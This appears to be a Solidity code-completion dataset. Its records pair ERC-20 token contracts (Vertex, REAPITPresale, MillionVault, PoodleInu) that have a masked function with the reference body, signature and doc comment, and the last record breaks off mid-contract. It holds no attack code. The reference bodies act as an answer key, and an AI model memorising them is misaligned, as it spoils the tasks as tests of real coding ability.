contract MintableToken is TokenFreeze, Whitelisted { event Mint(address indexed to, uint256 amount); event MintFinished(); string public constant name = "Vertex"; string public constant symbol = "VTEX"; uint8 public constant decimals = 5; // 18 is the most common number of decimal places bool public mintingFinished = false; mapping (address => bool) public whitelist; modifier canMint() { require(!mintingFinished); _; } <FILL_FUNCTION> /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } }
totalSupply = totalSupply.add(_amount); require(totalSupply <= 30000000000000); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true;
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool)
/** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool)
42528
REAPITPresale
transferFrom
contract REAPITPresale is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "REAPP"; name = "REAPIT Presale"; decimals = 18; _totalSupply = 100000000000000000000000000; balances[0x3953017AF23aB99a7d40f3D26F1595f27c91345f] = _totalSupply; emit Transfer(address(0), 0x3953017AF23aB99a7d40f3D26F1595f27c91345f, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
contract REAPITPresale is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "REAPP"; name = "REAPIT Presale"; decimals = 18; _totalSupply = 100000000000000000000000000; balances[0x3953017AF23aB99a7d40f3D26F1595f27c91345f] = _totalSupply; emit Transfer(address(0), 0x3953017AF23aB99a7d40f3D26F1595f27c91345f, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true;
function transferFrom(address from, address to, uint tokens) public returns (bool success)
// ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success)
69636
MillionVault
_approve
contract MillionVault is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 0; string private _name = 'mVault '; string private _symbol = 'MVAULT'; uint8 private _decimals = 18; uint256 public maxTxAmount = 1000000e18; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _mint(_msgSender(), 1000000e18); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(sender != owner() && recipient != owner()) require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount."); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual {<FILL_FUNCTION_BODY> } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function setMaxTxAmount(uint256 _maxTxAmount) external onlyOwner() { require(_maxTxAmount >= 10000e9 , 'maxTxAmount should be greater than 10000e9'); maxTxAmount = _maxTxAmount; } }
contract MillionVault is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 0; string private _name = 'mVault '; string private _symbol = 'MVAULT'; uint8 private _decimals = 18; uint256 public maxTxAmount = 1000000e18; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _mint(_msgSender(), 1000000e18); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(sender != owner() && recipient != owner()) require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount."); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } <FILL_FUNCTION> /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function setMaxTxAmount(uint256 _maxTxAmount) external onlyOwner() { require(_maxTxAmount >= 10000e9 , 'maxTxAmount should be greater than 10000e9'); maxTxAmount = _maxTxAmount; } }
require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount);
function _approve(address owner, address spender, uint256 amount) internal virtual
/** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual
11064
PoodleInu
manualBurnLiquidityPairTokens
contract PoodleInu is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Poodle Inu", "Poodle") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 4; uint256 _buyLiquidityFee = 10; uint256 _buyDevFee = 1; uint256 _sellMarketingFee = 5; uint256 _sellLiquidityFee = 14; uint256 _sellDevFee = 1; uint256 totalSupply = 1 * 1e12 * 1e18; //maxTransactionAmount = totalSupply * 1 / 1000; // 0.1% maxTransactionAmountTxn maxTransactionAmount = totalSupply; maxWallet = totalSupply; // .5% maxWallet swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable {} // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require(newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= 0, "Cannot set maxTransactionAmount lower than 0%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= ((totalSupply() * 5) / 1000) / 1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; } function updateBuyFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) { if (!tradingActive) { require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled) { if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if (!_isExcludedMaxTransactionAmount[to]) { require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { swapping = true; swapBack(); swapping = false; } if (!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{ value: ethAmount }( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success, ) = address(devWallet).call{ value: ethForDev }(""); if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function setAutoLPBurnSettings( uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled ) external onlyOwner { require(_frequencyInSeconds >= 600, "cannot set 